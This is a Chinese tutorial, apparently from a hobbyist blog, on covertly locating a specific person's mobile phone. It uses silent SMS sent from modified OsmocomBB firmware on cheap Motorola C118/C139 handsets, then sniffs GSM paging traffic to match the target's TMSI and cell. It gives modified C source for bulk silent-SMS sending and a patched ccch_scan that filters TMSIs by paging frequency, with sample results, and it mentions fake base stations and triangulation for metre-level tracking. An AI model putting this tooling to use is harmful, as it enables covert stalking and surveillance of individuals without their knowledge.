MAP:MobileApplicationPart(移动应用部分)七号信令的子集。用于连接分布式交换单元(MSC)和主数据库(HLR)。HLR能动态存储移动网络用户的当前位置和预置文件。在处理拨入呼叫的过程中需要使用HLR。当网络用户位置改变时,HLR也要相应更新,用户便由网络中的其他交换机服务。
MAP协议的主要内容包括移动性管理、呼叫业务处理、补充业务处理、短消息业务处理、操作维护和GPRS业务处理等。
但我们既不是国家机器,也不是土豪,我们只是一个普通的朝阳群众,怎么低成本的推动世界和平,保卫国家安全,以及对公众人物进行监督呢?
打开世界五大王牌情报组织之一朝阳群众的野战工具箱,我们会看到很多民间自制的情报工具,本文介绍其中的SlientSMS的低成本实现方法和简单应用。
其实,SilentSMS在各国执法部门都大量使用,即使他们同时也在使用SS7,比如柏林警方去年的发送数量就超过了10万。和SS7只能定位到基站不同,SilentSMS配合伪基站+三角定位法,开阔空间定位精度可以达到1米左右,实战中可以直接定位到广场上的某个人。这样即使目标人物使用了易容术,随身携带的手机也会不知不觉的告诉我们真相。
而为了保护安全和隐私,IMSI在设计上也是尽量少的在网络上传输的,通常情况下只在首次Attach和越区切换位置更新时才需要向移动网络提交你的IMSI。当移动网络确认你的合法身份后会指派一个临时身份给你,在GSM网络里是TMSI(TemporaryMobileSubscriberIdentity),在LTE里是S-TMSI(为了简化我们也把它称作TMSI),之后在需要身份识别的时候,都是用TMSI的。
IMSI(InternationalMobileSubscriberIdentity,国际移动用户识别码)用于在全球范围唯一标识一个移动用户。一个IMSI唯一标识一个移动用户,在全世界都是有效的。
无线网络覆盖的范围很大,如果IMSI在网络中传递时被不法分子获取,这个是非常危险的。所以需要采用另外一种号码临时代替IMSI在网络中进行传递,这就是TMSI(TemporaryMobileSubscriberIdentity,临时移动用户标识)。采用TMSI来临时代替IMSI的目的为了加强系统的保密性,防止非法个人或团体通过监听无线路径上的信令窃取IMSI或跟踪用户的位置。
而找出了TMSI和MSISDN的对应关系,也就能通过侦听知道目标手机当前连在哪个蜂窝基站,从而实现对目标人物的定位。
TMSI是在一个LAC(LocationAreaCode)/TA(TrackingArea)里有效的,每当进入一个新的LAC/TA,手机就会被网络指派一个新的TMSI。要找出的对应关系,必须侦听目标手机当前所在的LAC/TA。对我们有利的是,Paging也是在LAC/TA里有效的,除了LTE的SmartPaging。
朝阳群众的情报工具应该尽可能的便宜,所以我们使用开源软件+廉价设备的方式。我们优选的方案是OsmocomBB+MotorolaC118/C139。
网上能找到国外黑客写的用Python调用USB短信猫发送SilentSMS,用Airprobe+RTL-SDR接收的源代码,但是硬件成本比我们的贵,最关键是代码比较散。
OsmocomBB:基于一套泄露的基带源代码重写的开源的GSM基带项目,只能支持TICalypso基带处理器。被用来参考的那套泄露源代码不完整,只有90+%的源代码,部分连接库没有源代码,而且也缺少DSP的代码。OsmocomBB被设计成黑客的实验工具,而不是供普通用户使用的手机系统,为了方便编写和修改,其Layer2和3是在PC上运行的。
MotorolaC118/C139:玩GSM必备,天然支持跳频,便宜,淘宝只要7元,可大量购买,接在USBHub上,实现多路短信收发。其中,C139是彩屏,且ROM大些,是有潜力改造成用于复杂GSM攻击或工程路测,且支持中文显示和输入的黑客手机的。
具体实现上,我们需要使用两部C118/C139手机,一部用来发送SilentSMS,另一部用来侦听PCH并记录正在呼叫的TMSI。
C118(左)和C139(右)兄弟合影:
用来将C118/C139连接到电脑的CP2102(USB串口转换器)及2.5mm音频插头:
每个短信都有一个TP-Protocol-Identifier字段,只要设置为0x40就相当于告知接收手机忽略此短信,所以目标手机会正常接收到这条短信,但是之后既不会提示也不会保存这条短信,只是简单的丢弃掉。每个短信还有一个TP-Data-Coding-Scheme字段,如果把首字节设为0xC0,接收手机同样会忽略此短信。
我们只要在发短信之前,把对应的字段做好设置,发出的就是SilentSMS了。这两个字段可以都设置,也可以只设置一个。偶尔会碰到运营商过滤特殊格式短信的情况,这时候就需要具体试一下到底哪个有效。我自己到目前为止没遇到过滤的情况。
structosmo_timer_listtick_timer_smsping;struct{intpid;intdcs;}silent_sms;主要源代码vty_interface.c
//新增控制台命令:silent,用于设置TP-PID和TP-DCSDEFUN(silent,silent_cmd,"silentTP-PIDTP-DCS","SetSMSmessagesheader\n""1for0x40,0fordefault\n""1for0xC0,0fordefault\n"){intpid;intdcs;if(argc>=1){pid=atoi(argv[0]);dcs=atoi(argv[1]);if(pid){silent_sms.pid=1;}else{silent_sms.pid=0;}if(dcs){silent_sms.dcs=1;}else{silent_sms.dcs=0;}}returnCMD_SUCCESS;}发送部分的源代码:if(smscnt==MAX_SMS_Count){//开始批量发送tick_timer_smsping.cb=&sms_ping;//初始化定时器tick_timer_smsping.data=&timer_step;smscnt--;ping_sms_sca=strdup(sms_sca);ping_number=strdup(number);ping_sms_txt=strdup(argv_concat(argv,argc,2));call_vty=vty;sms_send(ms,sms_sca,number,argv_concat(argv,argc,2));vty_out(vty,"SlientSMS%dsent%s",smscnt,VTY_NEWLINE);}gsm411_sms.c
使用WireShark侦听发送的短信,可以看到TP-PID和TP-DCS分别是0x40,0xC0,短信内容为“testing123”:
OsmocomBB里的ccch_scan程序经常被大家用来侦听短信。我们修改它来筛选排查出可能的目标TMSI。
在开始发送SilentSMS的时候,就立刻启动ccch_scan记录所有Paging的TMSI。通常,从开始发短信,到空中出现Paging信息,最快3秒钟,多数情况6-7秒钟。繁忙的基站每秒广播20多次寻呼。所以我们把TMSI队列深度设为300是足够的,大约可记录从发送SilentSMS开始15秒内的所有被呼叫的TMSI,这300个里面一定有我们的目标的TMSI,通常是在前面开始部分。队列到300为止,我们就是在这300个里面找出来重复次数大于我们设定次数的TMSI并打印出来。
struct_tmsis_{uint8_ttmsi[4];charcnt;}tmsis[300];列出TMSI的源代码
voidtmsi_match(uint8_t*t){if(app_state.finding==1){inti;intf=0;for(i=0;iapp_state.mincnt){printf("PossibleTMSI:#%d,\t%s,%dtimes\n",i,osmo_hexdump(t,4),tmsis[i].cnt);}}}if((f==0)&&(app_state.tmsicnt<300)){//队列深度app_state.tmsicnt+=1;memcpy(tmsis[i].tmsi,t,4);tmsis[i].cnt=1;printf("NewTMSI:#%d,%s\tTotal:%d\n",i,osmo_hexdump(t,4),app_state.tmsicnt);}return;}if(!memcmp(t,app_state.wanted_tmsi,4)){app_state.tmsi_matched=1;printf("TMSIMatch%s\n",osmo_hexdump(t,4));}}我们给ccch_scan新增加一个参数:-fpaging次数。
国内不少地方为了提高接通率,当有MobileTerminatedService要传递的时候是重复发出寻呼信息的,有的是Paging两次,多的甚至连续寻呼四次。这样如果你连续向目标手机发送10次短信,可能会侦听到20-40次Paging。所以你实战中你需要先侦听网络的PCH来以确定当地的设置情况。
staticintl23_cfg_print_help(){printf("\nApplicationspecific\n");printf("-k--kcKEYKeytousetotrytodecipherDCCHs\n");printf("-t--tmsiTMSIFilterassignmentswithspecifiedTMSI(pagingonly)\n");printf("-f--countFilterpagingTMSI\n");return0;}staticintl23_cfg_handle(intc,constchar*optarg){switch(c){case'k':if(osmo_hexparse(optarg,app_state.kc,8)!=8){fprintf(stderr,"InvalidKc\n");exit(-1);}break;case't':if(osmo_hexparse(optarg,app_state.wanted_tmsi,4)!=4){fprintf(stderr,"InvalidTMSI\n");exit(-1);}app_state.finding=0;break;case'f':app_state.finding=1;app_state.mincnt=atoi(optarg);break;default:return-1;}return0;}运行ccch_scan来开始筛选TMSI,我们要求程序列出Paging超过16次的TMSI:
同时显示发送和筛选两个窗口,有的TMSI随着每次短信发送有节奏的出现,很快有一个TMSI就引起了我们的注意:818003B5,随着不断的发送短信,还不到10次短信,我们已经可以确定目标TMSI就是它。而且可以看出当前网络每传递一次短信就侦听到4次Paging:
我们拿出目标手机来确认一下,果然是这个TMSI。注意,为了工作方便,朝阳群众大都随身携带这种已开启NetMonitor的Nokia3110手机:
用WireShark来侦听目标手机接收到的短信:
用我修改过的ccch_scan来侦听并解码目标手机所在基站的下行短信:
手机通信安全跨着通信和计算机两个专业领域,两者都精通的安全研究人员比较少,因而一直缺少成熟好用的攻击工具。要想玩好手机安全,一定要自己动手编程,打造自己的安全工具。
本文没有涉及LTE下的TMSI筛选和手机定位,但是Paging的原理类似,而且下行的数据报文传递前也会产生Paging信息,再加上运营商的2G/3G/4G是可以互操作的,因而可以利用的途径更多。惟一的问题是缺少基带开源的LTE手机,我们要玩LTE,就必须使用SDR,导致成本不够亲民。即使发送SilentSMS仍然使用C118/C139,侦听LTE通信也必须使用SDR。而且因为我国特殊的频段划分,LTE没有得到低端的黄金频段,基本集中在1900MHz和2600MHz,这样便宜的RTL-SDR也就无能为力了,玩LTE最差也要买个HackRF,但目前国产山寨HackRF质量还不稳定。。。